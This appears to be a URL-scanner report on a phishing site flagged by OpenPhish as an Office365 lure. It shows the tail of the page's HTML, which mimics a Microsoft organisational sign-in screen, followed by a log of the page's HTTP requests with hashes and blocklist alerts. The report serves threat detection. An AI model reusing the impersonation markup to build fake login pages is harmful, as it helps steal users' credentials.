        <!-- ////////////////////////div2 end/////////////////////// -->
        <!-- ////////////////////////div3 start/////////////////////// -->
        < div class = "box"
        id = "div3"
        style = "right: 0px; left: 0px; display: none;" >
        < div class = "boxtext" >
        < img src = ""
        class = "img-fluid logoimg"
        width = "30px" > & nbsp; < span class = "align-middle h5 logoname"
        style = "color: #747474;" > < /span><br><br> < span class = "h4" > Taking you to your Organization 's sign-in page</span><br><br> < div class = "loader " >
        < div class = "circle" > < /div> < div class = "circle" > < /div> < div class = "circle" > < /div> < div class = "circle" > < /div> < div class = "circle" > < /div> < /div> < br >
        < div class = "text-left" >
        < a href = "#" > cancel < /a> < /div> < br > < br >
        < /div> < /div>
        <!-- ////////////////////////div3 end/////////////////////// -->
        < /div> < /div> < /div> < div class = "row " >
        < div class = "col-sm-5 mx-auto box2" >
        < div class = "py-2 bg-white " >
        < span > < i class = "fas fa-key" > < /i> &nbsp;Sign in options</span >
        < /div> < /div> < /div> < /div> < footer id = "footer" >
        < div >
        < div class = "footerNode" >
        < span > �2022 Microsoft < /span> < a href = "#" > Privacy statement < /a> < /div> < /div> < /footer>
                                    


HTTP Transactions (32)


Request Response
                                        
                                            GET / HTTP/1.1 
Host: httpswwww3schoolscomhtmltryitfilenametryhtml.pages.dev
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1

                                         
                                         172.66.47.157
HTTP/1.1 301 Moved Permanently
                                        
Date: Sat, 01 Oct 2022 21:50:17 GMT
Transfer-Encoding: chunked
Connection: keep-alive
Cache-Control: max-age=3600
Expires: Sat, 01 Oct 2022 22:50:17 GMT
Location: https://httpswwww3schoolscomhtmltryitfilenametryhtml.pages.dev/
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=FXkrL9ino7CaFMTENBTy9gyFZjo%2Baj%2FfBXekAO0iklLji%2BHj783sPuGHVbwzXRT6cbBEu2r01i8DGIckp9JW9I7Q1EDrW0iRYsBB%2FTyZmGpnZpmQQgOYng%2BdJb6eDistV6SQrxhCPuMb52dld3CPrAzjdSY4z%2B1BWfKU9NjEB2wVocv81uIK82A%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Vary: Accept-Encoding
Server: cloudflare
CF-RAY: 753869bf7c7d0b41-OSL
alt-svc: h2=":443"; ma=60


--- Additional Info ---
Magic:  
Size:   0
Md5:    d41d8cd98f00b204e9800998ecf8427e
Sha1:   da39a3ee5e6b4b0d3255bfef95601890afd80709
Sha256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

Alerts:
  Blocklists:
    - openphish: Office365
                                        
                                            POST / HTTP/1.1 
Host: r3.o.lencr.org
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 85
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

                                         
                                         23.36.76.226
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Server: nginx
Content-Length: 503
ETag: "EB128AEC099DBF1919EE5D965221E904AD3A2162583683CEC44518640B505447"
Last-Modified: Sat, 01 Oct 2022 12:00:00 UTC
Cache-Control: public, no-transform, must-revalidate, max-age=4472
Expires: Sat, 01 Oct 2022 23:04:49 GMT
Date: Sat, 01 Oct 2022 21:50:17 GMT
Connection: keep-alive

                                        
                                            GET /v1/ HTTP/1.1 
Host: firefox.settings.services.mozilla.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

                                         
                                         13.224.103.25
HTTP/1.1 200 OK
Content-Type: application/json
                                        
Content-Length: 939
Connection: keep-alive
Access-Control-Allow-Origin: *
Access-Control-Expose-Headers: Alert, Content-Type, Backoff, Content-Length, Retry-After
Cache-Control: max-age=3600
Content-Security-Policy: default-src 'none'; frame-ancestors 'none'; base-uri 'none';
Date: Sat, 01 Oct 2022 21:16:24 GMT
X-Content-Type-Options: nosniff
X-Cache: Hit from cloudfront
Via: 1.1 eb7b239aed47669f8a7b6ac95bc8aff0.cloudfront.net (CloudFront)
X-Amz-Cf-Pop: ZRH50-C1
X-Amz-Cf-Id: c0EQms0Mh46Wb3GvZrHnAm13FJ0ggiTCSsFAcW0o1QQLxkc6xDLjWw==
Age: 2033


--- Additional Info ---
Magic:  JSON data\012- , ASCII text, with very long lines (939), with no line terminators
Size:   939
Md5:    1b3053fa528e28810f8a2cc9284cc921
Sha1:   cca9eb471d941881a6b9a1793aecb6c281908f6a
Sha256: a2427848ba35575dda8a82cf88f104978234c05389deebc3fc8279d9075eff45
                                        
                                            GET /chains/remote-settings.content-signature.mozilla.org-2022-10-30-18-47-44.chain HTTP/1.1 
Host: content-signature-2.cdn.mozilla.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

                                         
                                         13.224.103.70
HTTP/2 200 OK
content-type: binary/octet-stream
                                        
content-length: 5348
last-modified: Sat, 10 Sep 2022 18:47:45 GMT
content-disposition: attachment
accept-ranges: bytes
server: AmazonS3
date: Sat, 01 Oct 2022 05:28:28 GMT
etag: "6113f8408c59aebe188d6af273b90743"
x-cache: Hit from cloudfront
via: 1.1 048a65288aba3f3565a971a2e44151be.cloudfront.net (CloudFront)
x-amz-cf-pop: ZRH50-C1
x-amz-cf-id: lo-QTQUUs9vNj6v2sZ8x5EbnGBdoV3br5xAoQvxEi-nxf8Nukfc0_g==
age: 58910
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  PEM certificate\012- , ASCII text
Size:   5348
Md5:    6113f8408c59aebe188d6af273b90743
Sha1:   7398873bf00f99944eaa77ad3ebc0d43c23dba6b
Sha256: b6e0cc9ad68306208a160f3835fb8da76acc5a82d8fde1da5a98e1de1c11a770
                                        
                                            GET /v1/tiles HTTP/1.1 
Host: contile.services.mozilla.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

                                         
                                         34.117.237.239
HTTP/2 200 OK
content-type: application/json
                                        
server: nginx
date: Sat, 01 Oct 2022 21:50:17 GMT
content-length: 12
strict-transport-security: max-age=31536000
via: 1.1 google
alt-svc: clear
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  JSON data\012- , ASCII text, with no line terminators
Size:   12
Md5:    23e88fb7b99543fb33315b29b1fad9d6
Sha1:   a48926c4ec03c7c8a4e8dffcd31e5a6cdda417ce
Sha256: 7d8f1de8b7de7bc21dfb546a1d0c51bf31f16eee5fad49dbceae1e76da38e5c3
                                        
                                            POST /s/gts1p5/7JD3_4OtZVk HTTP/1.1 
Host: ocsp.pki.goog
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 83
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

                                         
                                         142.250.74.3
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Date: Sat, 01 Oct 2022 21:50:17 GMT
Cache-Control: public, max-age=14400
Server: scaffolding on HTTPServer2
Content-Length: 471
X-XSS-Protection: 0
X-Frame-Options: SAMEORIGIN

                                        
                                            GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1 
Host: cdnjs.cloudflare.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://httpswwww3schoolscomhtmltryitfilenametryhtml.pages.dev/
Origin: https://httpswwww3schoolscomhtmltryitfilenametryhtml.pages.dev
Connection: keep-alive
Sec-Fetch-Dest: script
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

                                         
                                         104.17.24.14
HTTP/2 200 OK
content-type: application/javascript; charset=utf-8
                                        
date: Sat, 01 Oct 2022 21:50:18 GMT
content-length: 6157
access-control-allow-origin: *
cache-control: public, max-age=30672000
content-encoding: br
etag: "5eb03fa9-4af4"
last-modified: Mon, 04 May 2020 16:15:37 GMT
cf-cdnjs-via: cfworker/kv
cross-origin-resource-policy: cross-origin
timing-allow-origin: *
x-content-type-options: nosniff
vary: Accept-Encoding
cf-cache-status: HIT
age: 2605443
expires: Thu, 21 Sep 2023 21:50:18 GMT
accept-ranges: bytes
report-to: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Cxi%2Bw8%2BjFd%2BlRzUpYYwKgdLRVNi8MvLL0SSxBEVp8HOB1zErJDIAuVIZ7U1cYO9dalb2Qhej0IIWAT5L32iY6L4VELaQ3OTp3EjPSIQxmyavDcti1kUT4WqXnkyI%2FNsdyCUuCpiZ"}],"group":"cf-nel","max_age":604800}
nel: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800}
strict-transport-security: max-age=15780000
server: cloudflare
cf-ray: 753869c3ccd60b59-OSL
alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  ASCII text, with very long lines (19015)
Size:   6157
Md5:    7b4114faa411d059a9a5ac4b5b4d9dee
Sha1:   277da4486916fa3a4ab3375f47bc98f58dbf90f6
Sha256: 60b3528de2f7d48cbb335d19dddef756aaacc70f73d4254a2ef17978a14ca0d9
                                        
                                            POST / HTTP/1.1 
Host: ocsp.digicert.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 83
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

                                         
                                         93.184.220.29
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Accept-Ranges: bytes
Age: 5572
Cache-Control: 'max-age=158059'
Date: Sat, 01 Oct 2022 21:50:18 GMT
Last-Modified: Sat, 01 Oct 2022 20:17:26 GMT
Server: ECS (ska/F70B)
X-Cache: HIT
Content-Length: 280

                                        
                                            GET /jquery-3.2.1.slim.min.js HTTP/1.1 
Host: code.jquery.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://httpswwww3schoolscomhtmltryitfilenametryhtml.pages.dev/
Origin: https://httpswwww3schoolscomhtmltryitfilenametryhtml.pages.dev
Connection: keep-alive
Sec-Fetch-Dest: script
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

                                         
                                         69.16.175.42
HTTP/2 200 OK
content-type: application/javascript; charset=utf-8
                                        
date: Sat, 01 Oct 2022 21:50:18 GMT
content-encoding: gzip
content-length: 23856
last-modified: Fri, 12 Aug 2022 13:47:02 GMT
accept-ranges: bytes
server: nginx
etag: W/"62f659d6-10fdd"
cache-control: max-age=315360000, public
access-control-allow-origin: *
vary: Accept-Encoding
x-hw: 1664661018.dop015.sk1.t,1664661018.cds069.sk1.hn,1664661018.cds235.sk1.c
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  ASCII text, with very long lines (32012)
Size:   23856
Md5:    30f5157a965bc792a83e9bacfe265f03
Sha1:   8330886371fe27f3cbac509e0ac9712207574c66
Sha256: 4d12cab1f84ec2ac780bc8e0d865d9c61025be579c78d6532d76f0574d17fca0
                                        
                                            POST /s/gts1p5/7JD3_4OtZVk HTTP/1.1 
Host: ocsp.pki.goog
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 83
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

                                         
                                         142.250.74.3
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Date: Sat, 01 Oct 2022 21:50:18 GMT
Cache-Control: public, max-age=14400
Server: scaffolding on HTTPServer2
Content-Length: 471
X-XSS-Protection: 0
X-Frame-Options: SAMEORIGIN

                                        
                                            POST /gts1c3 HTTP/1.1 
Host: ocsp.pki.goog
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 83
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

                                         
                                         142.250.74.3
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Date: Sat, 01 Oct 2022 21:50:18 GMT
Cache-Control: public, max-age=14400
Server: ocsp_responder
Content-Length: 471
X-XSS-Protection: 0
X-Frame-Options: SAMEORIGIN

                                        
                                            GET / HTTP/1.1 
Host: httpswwww3schoolscomhtmltryitfilenametryhtml.pages.dev
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1

                                         
                                         172.66.44.99
HTTP/2 200 OK
content-type: text/html; charset=utf-8
                                        
date: Sat, 01 Oct 2022 21:50:18 GMT
access-control-allow-origin: *
cache-control: public, max-age=0, must-revalidate
etag: W/"9e383978f0a3dd218f1ff80a803ef823"
referrer-policy: strict-origin-when-cross-origin
x-content-type-options: nosniff
report-to: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=xjI8peURExtrYFnnisAtb8p8hIe83aZbuFLbxY1yfAFQgJrHBy32uh7rZia%2FHMS1tVaOTGLFJ8dr7L%2F8moRk9LvwFx1JrngAPSb%2B5siX0El9ATATXYrO9xZGQEV71%2F5QViHRrRIS4dogERqFBe3q30PTBIbkbdUz%2BTRE63yAd9QhCAQ20jQFVYA%3D"}],"group":"cf-nel","max_age":604800}
nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
vary: Accept-Encoding
server: cloudflare
cf-ray: 753869c27dd1b503-OSL
content-encoding: br
alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  HTML document, ASCII text, with very long lines (65501), with CRLF line terminators
Size:   196839
Md5:    33aed1ee44cad0d97f6ae5ec99329c23
Sha1:   b7a04072ff50ffe8da609180ba38719bbf6d6994
Sha256: 88453278189ad73c3d4681603ca674eef33b53513a084dcce1da98e055673557

Alerts:
  Blocklists:
    - openphish: Office365
                                        
                                            POST / HTTP/1.1 
Host: ocsp.digicert.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 83
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

                                         
                                         93.184.220.29
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Accept-Ranges: bytes
Age: 5572
Cache-Control: 'max-age=158059'
Date: Sat, 01 Oct 2022 21:50:18 GMT
Last-Modified: Sat, 01 Oct 2022 20:17:26 GMT
Server: ECS (ska/F70B)
X-Cache: HIT
Content-Length: 280

                                        
                                            POST /gts1c3 HTTP/1.1 
Host: ocsp.pki.goog
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 83
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

                                         
                                         142.250.74.3
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Date: Sat, 01 Oct 2022 21:50:18 GMT
Cache-Control: public, max-age=14400
Server: ocsp_responder
Content-Length: 471
X-XSS-Protection: 0
X-Frame-Options: SAMEORIGIN

                                        
                                            GET /jquery-3.3.1.js HTTP/1.1 
Host: code.jquery.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://httpswwww3schoolscomhtmltryitfilenametryhtml.pages.dev/
Origin: https://httpswwww3schoolscomhtmltryitfilenametryhtml.pages.dev
Connection: keep-alive
Sec-Fetch-Dest: script
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site
TE: trailers

                                         
                                         69.16.175.42
HTTP/2 200 OK
content-type: application/javascript; charset=utf-8
                                        
date: Sat, 01 Oct 2022 21:50:18 GMT
content-encoding: gzip
content-length: 80268
last-modified: Fri, 20 Aug 2021 17:47:53 GMT
accept-ranges: bytes
server: nginx
etag: W/"611feac9-42587"
cache-control: max-age=315360000, public
access-control-allow-origin: *
vary: Accept-Encoding
x-hw: 1664661018.dop015.sk1.t,1664661018.cds069.sk1.hn,1664661018.cds214.sk1.c
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  ASCII text
Size:   80268
Md5:    9fd458b477c45f28862c10eeee99263f
Sha1:   bcfceda34c540b9957758de619b288362188bb0b
Sha256: ef82ed7916ef7c6cb059d150c8b1e102c57e0e174ea6a1dfbcd0c286c465ba0f
                                        
                                            GET /jquery-3.1.1.min.js HTTP/1.1 
Host: code.jquery.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://httpswwww3schoolscomhtmltryitfilenametryhtml.pages.dev/
Connection: keep-alive
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site

                                         
                                         69.16.175.42
HTTP/2 200 OK
content-type: application/javascript; charset=utf-8
                                        
date: Sat, 01 Oct 2022 21:50:18 GMT
content-encoding: gzip
content-length: 30070
last-modified: Fri, 20 Aug 2021 17:47:53 GMT
accept-ranges: bytes
server: nginx
etag: W/"611feac9-152b5"
cache-control: max-age=315360000, public
access-control-allow-origin: *
vary: Accept-Encoding
x-hw: 1664661018.dop212.sk1.t,1664661018.cds262.sk1.hn,1664661018.cds010.sk1.c
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  ASCII text, with very long lines (32030)
Size:   30070
Md5:    f7a4a283c6a5130b43ce8de3b7842078
Sha1:   ef243edbb67f9e50f8589885e4541f6c919ea8d7
Sha256: aee9e5b2534ced87fe1e02a1a9e661468ba548e02edacbe9b68b3b247607dc4e
                                        
                                            GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1 
Host: maxcdn.bootstrapcdn.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://httpswwww3schoolscomhtmltryitfilenametryhtml.pages.dev/
Origin: https://httpswwww3schoolscomhtmltryitfilenametryhtml.pages.dev
Connection: keep-alive
Sec-Fetch-Dest: script
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

                                         
                                         104.18.11.207
HTTP/2 200 OK
content-type: application/javascript; charset=utf-8
                                        
date: Sat, 01 Oct 2022 21:50:18 GMT
vary: Accept-Encoding
cdn-pullzone: 252412
cdn-uid: b1941f61-b576-4f40-80de-5677acb38f74
cdn-requestcountrycode: DE
access-control-allow-origin: *
cache-control: public, max-age=31919000
etag: W/"14d449eb8876fa55e1ef3c2cc52b0c17"
last-modified: Mon, 25 Jan 2021 22:04:04 GMT
cdn-cachedat: 08/20/2022 02:32:25
cdn-proxyver: 1.02
cdn-requestpullcode: 200
cdn-requestpullsuccess: True
cdn-edgestorageid: 601
timing-allow-origin: *
cross-origin-resource-policy: cross-origin
x-content-type-options: nosniff
cdn-status: 200
cdn-requestid: 78d9f606736af1be13912629ddd4edbe
cdn-cache: HIT
cf-cache-status: HIT
strict-transport-security: max-age=31536000; includeSubDomains; preload
server: cloudflare
cf-ray: 753869c3ffb6fac4-OSL
content-encoding: br
alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  ASCII text, with very long lines (48664)
Size:   13858
Md5:    0d2d7262a098f401208e3ddc2b7e9763
Sha1:   59478f4e3bd12a94d163b6af89c1abeef03e40c0
Sha256: a95daa48ae2c19f19c800187f7f166cd2ee9d3cb31a4246db4ae78a812ff1879
                                        
                                            GET /releases/v5.7.0/webfonts/fa-solid-900.woff2 HTTP/1.1 
Host: use.fontawesome.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: application/font-woff2;q=1.0,application/font-woff;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: identity
Origin: https://httpswwww3schoolscomhtmltryitfilenametryhtml.pages.dev
Connection: keep-alive
Referer: https://use.fontawesome.com/
Sec-Fetch-Dest: font
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site
TE: trailers

                                         
                                         172.64.132.15
HTTP/2 200 OK
content-type: font/woff2
                                        
date: Sat, 01 Oct 2022 21:50:18 GMT
content-length: 74316
x-amz-id-2: rp5U/1x7D0C3guzcPzWVLbYJij3beXQGncLTB21ERE3dJAoNsRh5KQLqZmmOhKel4y8aBKKEAL0=
x-amz-request-id: YPJY199H821RM5D1
access-control-allow-origin: *
access-control-allow-methods: GET
access-control-max-age: 3000
vary: Origin, Access-Control-Request-Headers, Access-Control-Request-Method, Accept-Encoding
last-modified: Wed, 30 Jun 2021 15:45:37 GMT
etag: "52134b924fd61958f88323845deffc64"
cache-control: max-age=31556926
cf-cache-status: HIT
age: 59023
accept-ranges: bytes
report-to: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=FlG8jkGHdQ5XPRDR1%2FPV2FEvf3fivhS291t0S%2FqkuwT4FEXuzqfhZImGVff4FrKX7Yh0znmknTUy0%2BkeEsGmANGTwyPpVHdbMSbjAfz%2BSTDq8sjR8f%2BntK%2BSp5AItzQonnTIQV8D"}],"group":"cf-nel","max_age":604800}
nel: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
server: cloudflare
cf-ray: 753869c5fc4a71b7-LHR
alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
X-Firefox-Spdy: h2


--- Additional Info ---
Magic:  Web Open Font Format (Version 2), TrueType, length 74316, version 329.30932\012- data
Size:   74316
Md5:    52134b924fd61958f88323845deffc64
Sha1:   cfccdf2c8be593220ea949989a5abc0b380ea2ac
Sha256: 658cf43db24e9d4c57890e958aa74656a13139754de24f19e706f0a355279e4d
                                        
                                            POST / HTTP/1.1 
Host: ocsp.digicert.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 83
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

                                         
                                         93.184.220.29
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Accept-Ranges: bytes
Age: 3687
Cache-Control: 'max-age=158059'
Date: Sat, 01 Oct 2022 21:50:18 GMT
Last-Modified: Sat, 01 Oct 2022 20:48:51 GMT
Server: ECS (ska/F70B)
X-Cache: HIT
Content-Length: 471

                                        
                                            GET / HTTP/1.1 
Host: push.services.mozilla.com
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Sec-WebSocket-Version: 13
Origin: wss://push.services.mozilla.com/
Sec-WebSocket-Protocol: push-notification
Sec-WebSocket-Extensions: permessage-deflate
Sec-WebSocket-Key: 7OAVBYFJh7BsrOEVOcDtdQ==
Connection: keep-alive, Upgrade
Sec-Fetch-Dest: websocket
Sec-Fetch-Mode: websocket
Sec-Fetch-Site: cross-site
Pragma: no-cache
Cache-Control: no-cache
Upgrade: websocket

                                         
                                         52.27.12.161
HTTP/1.1 101 Switching Protocols
                                        
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: VC5GHfkVZ2OQWwjp3Dh2nYOxSFw=

                                        
                                            POST / HTTP/1.1 
Host: r3.o.lencr.org
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 85
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

                                         
                                         23.36.76.226
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Server: nginx
Content-Length: 503
ETag: "61BF2BDDECE68C7876AB5481C14ED1B1879343E55C86EE013B4F3A8D3353E6B4"
Last-Modified: Sat, 01 Oct 2022 12:00:00 UTC
Cache-Control: public, no-transform, must-revalidate, max-age=10251
Expires: Sun, 02 Oct 2022 00:41:11 GMT
Date: Sat, 01 Oct 2022 21:50:20 GMT
Connection: keep-alive

                                        
                                            POST / HTTP/1.1 
Host: r3.o.lencr.org
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 85
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

                                         
                                         23.36.76.226
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Server: nginx
Content-Length: 503
ETag: "61BF2BDDECE68C7876AB5481C14ED1B1879343E55C86EE013B4F3A8D3353E6B4"
Last-Modified: Sat, 01 Oct 2022 12:00:00 UTC
Cache-Control: public, no-transform, must-revalidate, max-age=10251
Expires: Sun, 02 Oct 2022 00:41:11 GMT
Date: Sat, 01 Oct 2022 21:50:20 GMT
Connection: keep-alive

                                        
                                            POST / HTTP/1.1 
Host: r3.o.lencr.org
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/ocsp-request
Content-Length: 85
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

                                         
                                         23.36.76.226
HTTP/1.1 200 OK
Content-Type: application/ocsp-response
                                        
Server: nginx
Content-Length: 503
ETag: "61BF2BDDECE68C7876AB5481C14ED1B1879343E55C86EE013B4F3A8D3353E6B4"
Last-Modified: Sat, 01 Oct 2022 12:00:00 UTC
Cache-Control: public, no-transform, must-revalidate, max-age=10251
Expires: Sun, 02 Oct 2022 00:41:11 GMT
Date: Sat, 01 Oct 2022 21:50:20 GMT
Connection: keep-alive

                                        
                                            GET /296x148/filters:format(jpeg):quality(60):no_upscale():strip_exif()/https%3A%2F%2Fs3.amazonaws.com%2Fpocket-curatedcorpusapi-prod-images%2F2ae73d97-d8e4-4f93-bf30-c175fc72b008.jpeg HTTP/1.1 
Host: img-getpocket.cdn.mozilla.net
                                        
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Origin: null
Connection: keep-alive
Sec-Fetch-Dest: image
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site

                                         
                                         34.120.237.76
HTTP/2 200 OK
content-type: image/jpeg
                                        
server: nginx
content-length: 10201
x-amzn-requestid: 62562627-78a8-4c17-bf6c-b2c986b9ee8f
x-xss-protection: 1; mode=block
access-control-allow-origin: *
strict-transport-security: max-age=63072000; includeSubdomains; preload
x-frame-options: DENY
content-security-policy: default-src 'none'; img-src 'self'; script-src 'self'; style-src 'self'; object-src 'none'
x-amz-apigw-id: ZSxLCFH3IAMFoFQ=
x-content-type-options: nosniff
x-amzn-trace-id: Root=1-63376246-69637d745165485171ca73b9;Sampled=0
x-amzn-remapped-date: Fri, 30 Sep 2022 21:40:22 GMT
x-amz-cf-pop: SEA73-P2, SEA73-P1
